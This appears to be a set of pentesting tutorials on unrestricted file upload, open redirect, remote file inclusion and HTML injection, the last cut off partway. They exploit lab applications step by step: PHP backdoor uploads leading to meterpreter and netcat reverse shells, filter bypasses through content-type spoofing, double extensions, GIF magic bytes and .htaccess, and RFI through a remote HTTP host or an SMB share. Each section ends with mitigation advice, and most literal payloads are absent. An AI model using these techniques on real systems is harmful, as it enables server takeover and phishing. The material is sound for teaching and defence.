Comprehensive Guide on Unrestricted File Upload

A dynamic-web application, somewhere or the other allow its users to upload a file, whether its an image, a resume, a song, or anything specific. But what, if the application does not validate these uploaded files and pass them to the server directly?

Today, in this article, we’ll learn how such invalidations to the user-input and server mismanagement, opens up the gates for the attackers to host malicious content, over from the Unrestricted File Upload functionality in order to drop down the web-applications.

Table of Content

  • Introduction to Unrestricted File Upload
  • Impact of Unrestricted File Upload
  • File Upload Exploitation
    • Basic File Upload
    • Content-Type Restriction
    • Double Extension File Upload
    • Image Size Validation Bypass
    • Blacklisted Extension File Upload
  • How to mitigate?

Introduction to Unrestricted File Upload

“Upload Here” or “Drag Your File To Upload” you might have seen these two phrases almost everywhere, whether you are setting up your profile picture or you are simply applying for a job.

Developers scripts up File Upload HTML forms, which thus allows its users to upload files over onto the web-server.  However, this ease might bring up the danger, if he does not validate what files are being uploaded.

File upload vulnerability is one of the major problems within web-based applications. In many web servers, this vulnerability depends entirely on purpose, that allows an attacker to upload a file with malicious codes in it, that thus could be executed on the server.

Impact of Unrestricted File Upload

The consequences of this file upload vulnerability vary with every different web-application, as it depends on how the uploaded file is processed by the application or where it is stored.

Therefore, over from this vulnerability, the attacker is thus able to:

  • Take over the victim’s complete system with server-side attacks.
  • Injects files with malicious paths which can thus overwrite existing critical files as he can include .htaccessfile to execute specific scripts.
  • Reveal internal & sensitive information about the webserver.
  • Overload the file system or the database.
  • Inject phishing pages in order to simply deface the web-application.

However, this file upload vulnerability has thus been reported with a CVSS Score of “7.6” with High Severity under:

  • CWE-434: Unrestricted Upload of File with Dangerous Type

So, I guess, you are now aware of the concept of file upload and why it occurs and even the vulnerable consequences that the developer might face if the validations are not implemented properly. Thus, let’s try to dig deeper and learn how to exploit this File Upload vulnerability in all the major ways we can.

For this section, we have developed a basic web-application with some PHP scripts which is thus suffering from File Upload vulnerability.

Lets Start !!

Basic File upload

There are times when the developers are not aware of the consequences of the File Upload vulnerability and thus they write up the basic PHP scripts with ease to complete up their tasks. But this leniency opens up the gates to major sections.

Let’s check out the script which accepts the uploaded files over from the basic File upload HTML form on the webpage.

From the above code snippet, you can see that the developer hadn’t implemented any input validation condition i.e. the server won’t check for the file extension or the contenttype or anything specific arguments and simply accepts whatever we upload.

So let’s try to exploit this above web-application, by creating up a php backdoor using up our best msfvenom one-liner as

Copy and paste the highlighted code in your text editor and save as with PHP extension, here I did it as “Reverse.php” on the desktop.

Now, back into the application, click on Browse tag and opt Reverse.php over from the desktop.

So, let’s hit the upload button which will thus upload our file on the web-server.

From the above image, you can see that our file has been successfully uploaded. Thus we can check the same by clicking over at the “here” text.

But wait ✋, before hitting the “here” text let’s load up our Metasploit framework and start the multi handler with

Now, as we hit the here text, we’ll get our meterpreter session and we have got the victim’s server.

Content-Type Restriction

Until till now, we were only focusing on the fact that if the developer does not validate the things up, then only the web-application is vulnerable. But what, if he implements the validations whether they are basic or the major ones, will it still suffer from the File Upload vulnerability?

Let’s unlock this question too.

Here, back into our vulnerable web-application, let’s try to upload our Reverse.php file again.

Oops!! This time we faced up a Warning as it only accepts “PNG” files.

But why this all happened?  let’s get one step back and upload Reverse.php again, this time turn your burpsuite “ON” and capture the ongoing HTTP  Request.

From the below image, into my burpsuite monitor, you can see that the content-type is here as  “application/x-php”.

So what this content-type is?

“Content-Type” entity in the header indicates the internal media type of the message content.

Sometimes web applications use this parameter in order to recognize a file as a valid one. For instance, they only accept the files with the “Content-Type” of “text/plain”.

So it might possible that the developer uses this thing to validate his application.

Let’s try to bypass this protection by changing this contenttype parameter with “image/png” in the request header.

Hit the Forward button and check its response !!

From the above image, you can see that we’ve successfully bypassed this security. Again repeat the same process to run the multi handler at the background before clicking the “here”  text.

Great !! We ‘re back into the victim’s server.

Let’s check out its backend code in order to be more precise with why this all happened.

As guessed earlier, the developer might have used the content-type parameter to be a part of his validation process. Thus here, he validates the uploading to be not acceptable when the $igcontent value is not equal to “image/png”.

Double Extension File Upload

While going into the further section, when tried again by manipulating the content-type in the Request header as with of “image/png”, we got failed this time.

 

From the below image, you can see that the application halt us back on the screen with an error to upload a “PNG” file.

So, this might all happened because the application would be checking the file extension or it is only allowing files with “.png” extension to be uploaded over on the webserver and restricts other files as the error speaks out !!

Let’s check out the developer’s code here as:

Here, he sets up three new variables:

  1. “$igallowed” which contains up an array for the extension “png” e. the webserver will accept only that file which has .png at the end.
  2. Now over in the next variable $igsplit he used explode() function with a reference to “.”, thus the PHP interpreter will break up the complete filename as it encounters with over a dot “.”
  3. In the third variable over in the $igExtension, he is using the end() function for the value of $igsplit, which will thus contain up the end value of the filename.

For example:

Say we upload a file as “Reverse.php.png”, now first the $igsplit explodes up the file as it encounters with a dot i.e. the file is now in three parts as [Reverse] [php] [png]. Thus now $igExtension will take the end value of the filename i.e. [png].

  1. Now, he even placed up an if condition that will check for the content-type value and compare it with “image/png” and checks for png in the $igExtension and the $igallowed If any of the three conditions is mismanaged, thus it will drop out an error, else it will pass it.

Many techniques may help us to bypass this restriction, but the most common and most preferred way is implementing “Double Extension” which thus hides up the real nature of a file by inserting multiple extensions with a filename which creates confusion for security parameters.

For example, Reverse.php.png look like a png image which is a data, not an application but when the file is uploaded with the double extension it will execute a php file which is an application.

Let’s check out how!!

Here, I’ve renamed the previous file i.e. Reverse.php with “Reverse.php.png”.

From the below image, you can see that, when I clicked over at the “Upload” button, I was presented with a success window as

Great !! We’ve again bypassed this file extension security. Turn you Metasploit Framework back as we did earlier and then hit the here text in order to capture up the meterpreter session.

Wonder why this all happened?

This occurs due to one of the major reason – Server Misconfiguration

The web-server might be misconfigured with the following insecure configuration, which thus enables up the double-extension and makes the web-application vulnerable to double extension attacks.

Note:

In order to make a double extension attack possible,“$” should be removed from the end of the lines from the secured configuration using

Image Size Validation Bypass

You might have seen applications which restrict over at the file size, i.e. they do not allow a file to be uploaded over a specific size. This validation can simply be bypassed by uploading the smallest sized payload.

So in our case, we weren’t able to upload Reverse.php as it was about of size more than 3Kb, which thus didn’t satisfy the developer’s condition. Let’s check out the backend code over for it

Here, he used a new variable as $igdetails which is further calling up a php function i.e. getimagesize(). Therefore this predefined function is basically used to detect image files, which initially reads up the file and return the size of the image if the genuine image is uploaded else in case an invalid file is there, then getimagesize() fails. Further, in the section, he even used another variable as $igallowed which will thus only accepts the “gif” images.

So let’s try to call, one of the smallest payloads that is simple-backdoor.php from the webshells directory and paste it over on our Desktop.

Now, its time to set double extension over it, this time we’ll be making it into a gif.

Wait!! Before uploading this file, we need to set one more thing i.e. we need to add a Magic Number for GIF images, such that if the server doesn’t check up the extension and instead checked the header of the file, we won’t get caught. So in the case of “gif”, the magic number is “GIF89” or “GIF89a”, we can use either of the two.

Time to upload!!

From the below image, you can see that we have successfully uploaded our file over onto the web-server.

Hit the “here” text and check what we could grab over with it.

Great!! We have successfully bypassed this security too. Now, let’s try to grab some sensitive content.

Blacklisted Extension File Upload

So, uptill now we succeed just because the developer had validated everything, but he didn’t validate the php file, say with a not allowed condition or with any specific argument.

But here, this time we were encountered with the same, he blacklisted everything, say “php or Php extensions”, he did whatever he could.

But whenever there is a blacklist implemented for anything, it thus opens up the gates to other things too as – say if the developer backlist .php, thus here we could upload.PHP or.Php5 or anything specific.

Similar here, when we tried to bypass the file upload section with every possible method either its content type or double extension we got failed every time and we got the reply as

Thus further, I tried to do that same by renaming the file from “Reverse.php” to “Reverse.PHP”

And as I hit the Upload button I got success!!

But wait, let’ check whether the file was working or not, as I clicked over at the “here” text, and I was redirected to the new page but my file didn’t execute.

So why this all happened? We’ve bypassed the security, it should work.

This happened because the target’s web-server was not configured to execute files with.PHP extensions. i.e. we’ve bypassed the web-applications security but the server was not able to execute files other than .php extension.

So, in order to execute files with our desired extension, we need to upload an “htaccess” file i.e. a file with

Save the above content in a file and name it with “.htaccess”.

But, before uploading our file over onto the server, the server should accept and allow .htaccess files into the directory. Which thus can be turned “On” by setting up Allow Override to All from None.

Note: Many web-applications sets AllowOverride to “All” for some of their specific purposes.

Let’s change it over in our webserver at

Change it to all in the /var/www/ directory

Now restart the apache server with –

Back into our web-application, let’s try to upload our “.htaccess” file.

Great!! And with the successful uploading, let’s now try to upload our payload file over it there again.

Hit the upload button, but this time before clicking over at the “here” text, let’s set up our Metasploit framework again as we did earlier.

Cool!! From the below image, you can see that we’ve successfully bypassed this blacklisted validation too and we are back with the new meterpreter session.

How to Mitigate?

  • Rather than a blacklist, the developer should implement a set of acceptable files i.e. a whitelist over in his scripts.
  • The developer should allow specific file extensions.
  • Only allow authorized and authenticated users can use the feature to upload files.
  • Never display up the path of the uploaded file, if the review of the file is required then initially the file should be stored into the temp. directory with the least privileges.
  • Not even the web-application, the server should be patched-up properly i.e. it should not allow double extensions and the AllowOverride should be set to “None”, if not required.

Author: Chiragh Arora is a passionate Researcher and Technical Writer at Hacking Articles. He is a hacking enthusiast. Contact here

Comprehensive Guide on Open Redirect

URL commonly referred to as a web address, which determines up the exact location of a web resource over the internet. But what, if this URL gets redirects and takes you to the place where you never expected to? Today, in this article, we’ll take a tour on Open Redirection and would learn how an attacker can deface a website by simply redirecting its URL to a malicious one.

Table of Content

  • What is the URL?
  • Introduction to Open Redirection
  • Open Redirection Impact
  • Open Redirection Exploitation
    • Basic Redirection
    • Encoded Redirection
      • URL Encoded Redirection
      • Double URL Encoded Redirection
      • Base64 Redirection
    • URL Redirection with Hash values
    • Redirection with Hash values using salt.
    • Redirection over inside a Web page
    • DOM-based Open Redirection
  • Mitigation Steps

What is the URL?

A URL is an abbreviation to Uniform Resource Locator, which is nothing but an address to a unique resource or a file over the Internet. These resources can be anything, an HTML page, an image, or a CSS document.

A URL is composed of different segments – including a protocol, a domain name, or a path – which instructs the web browser about how to fetch a resource and thus are even managed by the webserver. However,  it is the responsibility of the developer to validate the resources and its associated URLs and even the user-input parameters.

A basic URL is structured in a way as:

Introduction to Open Redirect

Have you ever noticed about the response codes that the web-application offer as “301” or “302”, they simply speak out about the URL redirection!

Many developers set up their web-applications in order to request resources over from the web pages or to send their visitors to some different location, that reside within or outside the webinterface. To do so, they implement some basic functions such as header() in PHP, redirect() in Python, Response.Redirect() in C# and many others.

But this URL Redirection is often overlooked by the developers, as the function they use, sometimes are not properly validated or filtered or even they let the users enter their desired input which thus further, could lead to one of the most common vulnerabilities i.e. “Open Redirect”.

“Open Redirect” or “Unvalidated Redirection” is possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing attack and steal user credentials.

Source – OWASP

Didn’t understood well, let’s check out the following scenario:

The user get’s a phishing email stating that “Example.com – A movie booking web-app” is giving its users “a free movie ticket” over the URL specified in the email as:

“ www.example.com/?url=www.abc.in

The URL seems to be the genuine one, as it is having the domain name of “example.com”, but the same URL is thus having a redirecting over to “abc.in” which is nothing but the attacker’s fake web application.

Now, when the user opens up the URL and enters her credentials over the “example’s login portal”, and as she clicks on the login button, she thus gets redirected to a different login page rather than example’s home page, as the Login button over example.com was suffering from “Open Redirect Vulnerability”. Therefore, now when she enters up her credentials again, they got compromised and thus then she’ll get redirected to the home page.

Open redirection Impact

Open Redirection is itself a minor vulnerability, but, it thus itself can cause major damage to the web-application when integrated with others as with “RCE” or “XSS”.

Therefore, it thus has been reported with “Medium Severity” with a CVSS score of “6.1” under:

  • CWE-601: URL Redirection to Untrusted Site (‘Open Redirect’)

So, in order to exploit this all, we’ve developed some PHP codes as the similar way the developer creates them to enable URL redirections into their applications, further we’ve even used a bWAPP-a vulnerable web-application and the PortSwigger lab.

Let’s Start !!

Basic Redirection

There are chances when the developer does not care about the input validations or filtrations or anything specific and simply implements the redirection functions as header() and let the redirected URL be in the clear texts.

From the below image you can see that the redirected  URL over at the “here” text, is simply reflected as in the cleartext, which means that if we click over on it, we’ll be redirected to “hackingarticles.in”.

So, let’s try to capture this all in our burpsuite and check what we could manipulate over on.

From the above image, you can see that, in the “url=” parameter https://www.hackingarticles.in is travelling, let’s try to manipulate this simple clear text with “http://www.google.com”.

Simple !! From the below image you can see that, we’ve been redirected to “google.com” with a basic manipulation.

Encoded Redirection

In order to secure up the redirection process, sometimes the developers encode up the “url=” values and let the URL travel over on the internet as in with the redirection. The major encoding methods that a developer can implement are as the URL-encoding or the base-64 encoding.

But, as we are aware that encoding is a 1-way technique, thus this security can simply be breached if we know about what encoding methodology the developer used into all this.

URL Encoded Redirection

URL Encoding is one of the most common encoding methodologies that the developer use in order to disallow some vulnerable characters such as “<” or “>”, to get embedded into the URL.

The following PHP code snippet shows up a basic URL decoding redirection, which first decodes up the encoded input URL and then redirects it over to its desired destination.

Let’s try to bypass this encoding with some simple tricks.

From the following image, you can see that, as when I captured up the ongoing HTTP Request over of the “here” text, I was presented with the “url=” parameter containing the URL encoded redirection link.

By analyzing the captured request, it makes us clear that the “url=” parameter is having a simple basic URL encoded value. Though, let’s now try to encode our URL i.e. “https://www.ignitetechnologies.in”  over from the encode tab in our burpsuite.

Cool!! Let’s check whether this would work or not. Manipulate the “url=” parameter with the ignite’s encoded value.

From the below image, you can see that, we’ve successfully defaced the website over with the “Open Redirection” vulnerability with some simple clicks.

Double URL Encoded Redirection

Being a developer, he knows that, basic URL encoding can easily be bypassed with some simple clicks, therefore in order to make his application more secure with the redirection section, he implements “Double URL Encoding”, where he used the “urlencode() and urldecode()” function twice one after the other as in the home page and the redirection page respectively.

The following is the redirection code snippet which speaks out about how the decoding is to be performed, thus this first take up the encoded URL and decodes it up, further with another urldecode function, it will thus decode the previous decoded URL and then pass it for the redirection.

So now, as we hover on the “here” text, we’ll find that this time the URL is not in the readable format, thus to be more precise let’s capture this all over in the burpsuite.

From the below image, you can see that the “url=” parameter’s value is different from the one that we see earlier when we hovered on the text, which simply means that, there is some more encoding over it.

Let’s copy it out and check it over in the decode tab. From the below image, you can see that we got the decoded  URL to be as “http://hackingarticles.in” when we opted the “URL Decode” option for about two times.

 

Until now, we are aware that, this application is taking up the URL’s that are double-encoded. Let’s now try to deface this web-application by manipulating up its “url=” parameter value again with “https://ignitetechnologies.in”.

But wait, before that, we need to implement the double encoding methodology, which will thus make the redirection successful.

Copy the double encoded value, and paste it over to the “url=” value.

Great!! We are almost done, let’s click on the Forward button,  and check out what it displays to us.

Base64 Redirection

URL Encoding is not the only encoding methodology that the developer implements, thus in order to make the redirection process more secure, they may use base64, hex, octal, binary, HTML or anything specific.

From the above image, you can see that if we hover over the “here” text, we get the “url=” value in the encoded form. So, let’s try to bypass this encoding:

In my burp suite monitor, I’ve captured up the ongoing request and have copied the “url=” value.

Now, with the copied encoded value, I tried to decode it with different encoding methodologies, and thus there, I got it for Base64.

Cool !! As we are now aware of the encoding method, let’s now try to encode some other URL’s and check for their outcomes.

Back in the burpsuite, and in the decode tab, I’ve tried to encode “google.com” over with Base64. There I’ve further copied up its encoded value.

Let’s now manipulate the “url=” parameter with the copied value and thus then fire up the Forward button and check the response over back in the browser.

Great!! From the below image, you can see that we’ve again successfully bypassed this security.

Let’s check out why this all happened:

From the below code snippet, you can see that the developer is again trusting his visitors and is reliable on the header() function which first decodes up the encoded input URL with URL decode and then with base-64 decoding, thus further redirects the user to his desired webpage.

URL Redirection with Hash values

Experienced developers use hash values, which immunes up the web –applications from the “Open Redirect” vulnerability, they could have used any hashing algorithm, whether it is MD5, SHA512 or SH1 or any other.

Some developers even implement the combination of URL and the hash values as we’ve used in this section i.e. when choose the Copy Link Location of heretext we’ll get the output

From the below image, you can see that this time rather than the “url=” parameter, we have one more as “hash=”.

Now, if we manipulate the “url=” with “https://www.bing.com” and leaves up the hash value the same as it was, thus then we will face the error.

“As when we clicked on the “here” text, the redirection script will catch the passed URL and generate its hash value and compare the generated hash value with the hash value we have sent with the request, if both the hash values match the redirection would work else it will fail.”

Here in this segment, the developer used the MD5 hash algorithm.

So, let’s now try to exploit this major security again with some manipulations, but this time we need to encrypt our URL over with the MD5 hash.

With a basic MD5 Hash generator, we’ve encrypted https://www.bing.com. Copy this all and craft it in with the URL.

Great!! From the below image you can see that, as soon as I execute the above-manipulated URL in the browser, I got redirected to my desired result.

Redirection with Hash values using Salt

Encoded URL’s can be bypassed, URL parameter with a hash can even be misguided, but what, if the redirected URL is encrypted with a salt value?

Salt could be anything, it could be a combination of characters, digits, alphanumeric, special character or anything we want. A salt further increases the security for redirecting the URL or even it make up impossible to deface a web-application. But, there is still a chance to misguide the users, if we could guess up the salt value or even if the developer displays it in the URL itself.

From the below image, you can see that here the developer passed up his salt value in the URL as “ignite”. Cool!! This was all we need to deface this web-application, let’s try to do so.

Over in burpsuite, I’ve captured the ongoing HTTP Request that was generated with the “here” text.

Great!! So its time to manipulate the URL as we are now aware of the salt value, but wait we don’t know the type of hash it is using. Okay !! with some permutations and combinations and some hit & trial methods,  I got it as a SHA256 hash.

So let’s now try to deface this web-application by generating the hash value of our “URL” with the same procedure we decrypted that earlier.

Therefore you can do so over through this SHA256 hash generator.

Copy this all – the URL and the generated Hash value; and thus manipulate it over in our burpsuite.

Woah!! We’ve successfully bypassed this security level which was expected to the most secure one.    

Redirection over inside a Web-Page

So, up till now, we have seen that the developer redirects his visitors to the resources that were outside the web-application, but there are chances that he might set the redirect() or header() function to make its users, to travel the web-pages which reside inside the application’s interface.

Let’s boot into our vulnerable web-application bWAPP as “bee : bug” and set the “Choose your bug” option to Unvalidated Redirects & Forwards (2)”.

Thus, there on the page, if we hover the “here” text we can see that there is a “ReturnUrl=” parameter.

Let’s capture the passing HTTP Request over of the “here” text and check what we could grab with it.

From the below image, you can see that the “ReturnURL=”  parameter is forwarding the user back to the “portal.php” page, which is thus nothing but a URL redirection and therefore can be leveraged to an “Open Redirect” vulnerability.

Isn’t it great, that, if being a low privileged user, we can grab the content of the “configuration files” or anything specific for which we’re not authorized to, and this all happens, when the developer patch up the “LFI” vulnerability?

So let’s try to do so – as we’re aware, that the configuration files reside inside the web-applications default folder. Thus it would be easy to call that up over from the “here” text, by manipulating the captured request with our desired URL.

As soon as we hit the Forward button, we got redirected to the config.inc which thus contains up all the basic configurations.

Great!! We’re into the config.inc file and though we are now having more information about our target’s server.

DOM-based Open Redirect

DOM-based open-redirection vulnerabilities arise when a script writes attacker-controllable data into a sink that can trigger cross-domain navigation which thus facilitates phishing attacks against users of the websites.

So what is a sink?

A sink is a potentially dangerous JavaScript function or DOM object that can cause undesirable effects if attacker-controlled data is passed to it.

The major sinks that could lead to DOM-based Open Redirection vulnerability are “location”
“location.hostname” “location.href” “location.pathname”.

So, let’s try to implement it, in some real scenarios over at The Portswigger Academy and exploit this DOM-based Open Redirect vulnerability.

As we hit the “Access the lab” button, we get redirected over to a blog which is somewhere or the other suffering from “Open Redirection”.

But before that, we got something new as “Go to exploit server”, let’s check that out.

That’s nice, we’re having our exploit server here, let’s copy its URL and we’ll try to redirect that blog to our server.

So let’s open a specific blog-post, say the first one and check its source code with a simple right-click over any segment of the page.

Great!! From the below image, I was able to see that the “Back to Blog” text is with some URL and this seems to be an “Open Redirect” as “location” property is not validated or sanitized to user’s input and thus it is even having an onclick event over it as “url=(https”

However, if we manipulate the webpage URL by integrating our exploit server’s URL with “&url=” parameter as

web-security-academy.net/post?postId=1&url=https://acae1fa01f50080b2d7d801d30034.web-security-academy.net

From the above image, you can see that, now if I hover the “Back to Blog” section, I got the redirection link to as the one I manipulated earlier.

Let’s check out its output, by clicking over the “Back to Blog” text.

Great!! From the below image you can see that we’ve successfully solved this lab and we are thus redirected over to our exploit server.

Mitigation Steps

  • The user-input should be properly sanitized and must be validated.
  • The developer should set up a whitelist of his trustworthy URLs.
  • If the developer is setting up any hash or a salt value, it should be hidden and not to be displayed in the URL.
  • Instead of using the redirect function, the developer should implement specific links over on the text keywords.
  • The web-application should pop out a warning when a user tries to redirect to an untrusted domain.

Author: Chiragh Arora is a passionate Researcher and Technical Writer at Hacking Articles. He is a hacking enthusiast. Contact here

Comprehensive Guide on Remote File Inclusion (RFI)

Have you ever wondered about the URL of the web-applications, some of them might include files from the local or the remote servers as either “page=” or “file=. I hope you’re aware of the File Inclusion vulnerability. If not, I suggest you revisit our previous article for better understanding, before going deeper with the Remote File Inclusion Vulernabilty implemented in this section.

Table of Content

  • Introduction to RFI
  • Why Remote file Inclusion Occurs?
  • Remote File Inclusion Exploitation
    • Basic Remote File Inclusion
    • Reverse Shell through Netcat
    • RFI over Metasploit
    • Bypass a Blacklist Implemented
    • Null Byte Attack
    • Exploitation through SMB Server
  • Mitigation Steps

Introduction

Remote File inclusion is another variant to the File Inclusion vulnerability, which arises when the URI of a file is located on a different server and is passed to as a parameter to the PHP functions either “include”, “include_once”, “require”, or “require_once”.

The Remote File Inclusion vulnerabilities are easier to exploit but are less common say in 1 of the 10 web-applications. Here thus, instead of accessing a file on a local server, the attacker could simply inject his/her vulnerable PHP scripts which are hosted on his remote web-application into the unsanitized web application’s URL, which thus might  lead to disastrous results as:

  1. Allowing the attacker to execute remote commands on a web server as [RCE].
  2. Provides complete access to the server.
  3. Deface parts of the web, or even steal confidential information.
  4. Implementation of Client-Side attacks as Cross-Site Scripting (XSS).

Therefore this Remote File Inclusion vulnerability has been reported as “Critical ” and with the CVSS score of “9.8”  under:

  1. CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program.
  2. CWE-20: Improper Input Validation
  3. CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Why Remote File Inclusion Occurs

Unlike Local File Inclusion, this remote file inclusion vulnerability also occurs due to the poorly written PHP server-side codes where the input parameters are not properly sanitized or validated.

Look at the following code snippet, which thus lets the web-application to suffer from the RFI vulnerability as the developer is only dependable on the “$file” variable with the “GET” method and hadn’t placed any input validation over it.

But this logical error didn’t fulfil the requirements to RFI vulnerability until the developer enables some insecure PHP settings as “allow_url_include = On” and “allow_url_fopen = On”, Therefore the combination of these two i.e. the developer logic and the insecure settings, open the gates to the disastrous RFI vulnerability.

Basic Remote File Inclusion

I guess, up till now, you might be having a clear vision with what is Remote File Inclusion and why it occurs. So let’s try to dig some deeper and deface some web-applications with a goal to achieve a reverse shell.

I’ve opened the target IP in my browser and logged in inside DVWA as admin: password, further I’ve opted for the File Inclusion vulnerability present on the left-hand side of the window. And even for this time, I’ve kept the security level to low.

Note :

allow_url_include is disabled by default. If allow_url_fopen is disabled, allow_url_include is also disabled

You can enable allow_url_include from php.ini by running the following commands :

Therefore now we’ll be presented with a web-page which is suffering from File Inclusion vulnerability as it is simply including the include.php file into its URL parameter as 

page=include.php

Let’s try to manipulate this URL parameter and surf google.com over this DVWA application as:

Cool !! The below image thus confirms up that this application is vulnerable to RFI vulnerability.

Reverse Shell through Netcat

Won’t you be happy, if we could convert this basic RFI exploitation to a reverse shell, let’s check it out how?

Initially, we’ll generate up a payload using the best php one-liner as:

Great, let’s now host this directory so that we could use it over in the URL parameter.

From the below image, you can see that the Desktop folder has been hosted over the HTTP server on port 8000.

Now let’s boot up our Netcat listener over on port 4444

As the netcat is about to listen, till that time, let’s include our shell over in the vulnerable URL parameter as :

Fire up the forward button and get back our netcat listener, it might have some interesting things for us.\ Great !! We’ve successfully captured up the reverse shell. Let’s grab up some striking details now.

 

RFI over Metasploit

Wasn’t the Netcat procedure was long and complicated enough, just to get a reverse shell.

So let’s do some smart work & let’s boot one of the favourite tools of every pentester i.e. “Metasploit”

But before using any exploit into that, let’s capture up the HTTP Header of the URL that confirmed us the RFI existence i.e. “page=https://www.google.com”  and further copy the logged in PHP session id along with all the security information.

Here I’ve used the Live HTTP Header – a firefox plugin, in order to capture the same.

So, it’s time to get the full control of the web application’s server, just simply execute the following commands and you are good to in:

Wooah !! With some basic executions, we got the meterpreter session.

Bypass a Blacklist Implemented

So, it’s not every time we would be lucky enough that the developer sets up the code without any validations, they might set some blacklists with the commonly used elements as “http:” or “https:” or even similar to them in order to secure up their web-application.

Therefore to bypass this implemented blacklist, we need to try all the different combinations like “HTTP:” or “hTTp:” that the developer might forget to add.

I’ve increased up the security level to “medium” and tried up with all the different combinations. From the below image you can see that the  “HTTPS” worked for me and would thus be able to exploit the RFI vulnerability again.

Null Byte Attack

A developer can never forget, to add up a ‘.php’ extension into their codes at the end of the required variable before it gets included. That is the webserver will interpret every file with the “.php” extension.

Thus, if I wish to include “tryme.txt” into the URL parameter, the server would interpret it as “tryme.txt.php.” and drop back an error message.

So what should we do when the developer sets this all?

The answer is to go for the Null Byte Attack, using up the question mark [?] character, which will thus neutralize the problem of the “.php”, forcing the php server to ignore everything after that, as soon as it is interpreted.

192.168.0.3/bWAPP/rlfi.php?language=http://192.168.0.5:8000/tryme.txt?

Exploitation through SMB Server

As discussed earlier, RFI vulnerability is about to impossible until the developer enables up the “allow_url_include” or “allow_url_fopen” in the php.ini file.

But what if, if the developer never enabled that feature, and run his web application as simple as he could without including any specific file from any remote server. Would it still be vulnerable to RFI?

The answer is “Yes”, RFI vulnerabilities can be exploited through the SMB Server even if the “allow_url_include” or “allow_url_fopen” is set to Off.

As when the “allow_url_include” in PHP is set to “off”, it does not load any remote HTTP or FTP URL’s to prevent remote file inclusion attacks, but this ”allow_url_include” does not prevent loading SMB URLs.

Wonder how to grab this all? Let’s exploit it out here in this section. So, I’ve set up the vulnerable bWAPP application over in my windows machine. You can do the same from here.

Lets Start !!

Initially, I had reconfigured my PHP server by disallowing the “allow_url_include” and “allow_url_fopen” wrapper in the “php.ini” file at C:\xampp\php\

Now in order to activate the SMB service in my Kali machine,  I’ve used the impacket toolkit which thus set up everything with a simple one-liner as:

As we are executing our attack over the windows 10  machine, so here I have used the “smb2support”, and had further set the share directory as /root/Desktop/Shells/ . You can learn more about Impacket from here.

From the below image you can see that our directory has been shared successfully over the SMB server without any specific credentials.

In order to confirm up the same, let’s check it all out on any windows machine over the “Run dialog box” as

\\192.168.0.8\sharepath\

Cool !! Our SMB Server is working perfectly and we’re able to access its shared files.

So let’s get back to our Kali machine and check whether the PHP code is allowing any remote file inclusion or not. From the below image, you can see that when I tried with the basic RFI attack, I was presented with an error message as “https:// wrapper is disabled” by allow_url_include=0; which thus confirms me up that the PHP code is blocking the files to be included from any remote server.

So, it’s time to deface this web-application by bypassing the “allow_url_includewrapper with our SMB share link as :

Great !! From the below image you can see that our shell has successfully included into this vulnerable web-application and we’re presented with the contents of it.

Mitigation Steps

  • To prevent web applications from the file inclusion attacks, we need to use strong input validation. we should restrict the input parameter to accept a whitelist of acceptable files and reject all other inputs that do not strictly conform to specifications.

Sanitizing user-supplied / controlled inputs to the best of your ability is always preferable. Those inputs are: GET/POST parameters

  • URL parameters
  • Cookie values
  • HTTP header values

This can all be examined with the following code snippet:

  • Develop or run the code in the most recent version of the PHP server which is available. And even configure the PHP applications so that it does not use register_globals.
  • On the server-side, configure the ini configuration file, by disallowing remote file include of http URI which limits the ability to include the files from remote locations i.e. by changing the configuration file with the following command:

nano /etc/php/7.2/apache2/php.ini

Author: Chiragh Arora is a passionate Researcher and Technical Writer at Hacking Articles. He is a hacking enthusiast. Contact here

Comprehensive Guide on HTML Injection

“HTML” is considered as the skeleton for every web-application, as it defines up the structure and the complete posture of the hosted content. So have you ever wondered, if this anatomy got ruined up with some simple scripts? Or this structure itself becomes responsible for the defacements of the web-applications? Today, in this article, we’ll learn how such misconfigured HTML codes, open the gates for the attackers to manipulate the designed webpages and grabs up the sensitive data from the users.

Table of Content

  • What is HTML?
  • Introduction to HTML Injection
  • Impact of HTML Injection
  • HTML Injection v/s XSS
  • Types of Injection
    • Stored HTML
    • Reflected HTML
      • Reflected GET
      • Reflected POST
      • Reflected current URL
  • Mitigation Steps

What is HTML?

HTML is an abbreviation to “HyperText Markup Langauge”, is the basic building block of the web, which determine the formation of the web pages over a web-application. HTML is used to design websites that consist the “HyperText” in order to include “text inside a text” as a hyperlink and a combination of elements that wrap up the data items to display in the browser.

So what these elements are?

“An element is everything to an HTML page i.e. it contains the opening and closing tag with the text content in between.”

HTML Tag

An HTML tag label pieces of content, such as “heading”, “paragraph”, “form”, and so on. They are the element names surrounded by angle brackets and are of two types – the “start tag” also known as opening tag and the “end tag” referred to as the closing one. Browsers do not display these HTML tags but utilize them to grab up the content of the webpage.

HTML Attributes

In order to provide some extra information to the elements, we use attributes, they reside inside the start tag and comes in “name/value” pairs, such that the attribute name follows up with an “equal-to sign” and the attribute value is enclosed with the “quotation marks”.

Here the “href” is the “attribute name” and “http://hackingarticles” is the “attribute value”.

As we’re now aware of the basic HTML terminologies, let’s check out the “HTML elements flowchart” and then will further try to implement them all to create up a simple web page.

Basic HTML Page:

Every web page over the internet is somewhere or the other an HTML file. These files are nothing but are the simple plain-text files with a .htmlextension, that are saved and executed over a web browser.

So let’s try to create a simple web page in our notepad and save it as hack.html:

Let’s execute this “hack.html” file in our browser and see what we have developed.

Great!! We’ve successfully designed our first web-page. But how these tags worked for us, let’s check them out:

  • The <html>element is the root element of every HTML page.
  • The <head>determines the meta-information about the document.
  • The <title>element specifies a title for the webpage.
  • The <body>element contains the visible page content that has the “bgcolor” as an attribute as “pink”.
  • The <br>element defines break line or it defines up the next line.
  • The <h1>element defines a large heading.
  • The <p>element defines a paragraph
  • The <a> defines up the anchor tag which helps us to set up the “hyperlink”.

I guess you are now clear with “what HTML is and its major use” and “how can we implement this all”. So let’s try to find out the major loopholes and learn how the attackers inject arbitrary HTML codes into vulnerable web pages in order to modify the hosted content.

Introduction to HTML Injection

HTML Injection also termed as “virtual defacements” is one of the most simple and the most common vulnerability that arises when the web-page fails to sanitize the user-supplied input or validates the output, which thus allows the attacker to craft his payloads and injects the malicious HTML codes into the application through the vulnerable fields, such that he can modify the webpage content and even grabs up some sensitive data.

Let’s take a look over this scenario and lean how such HTML Injection attacks are executed:

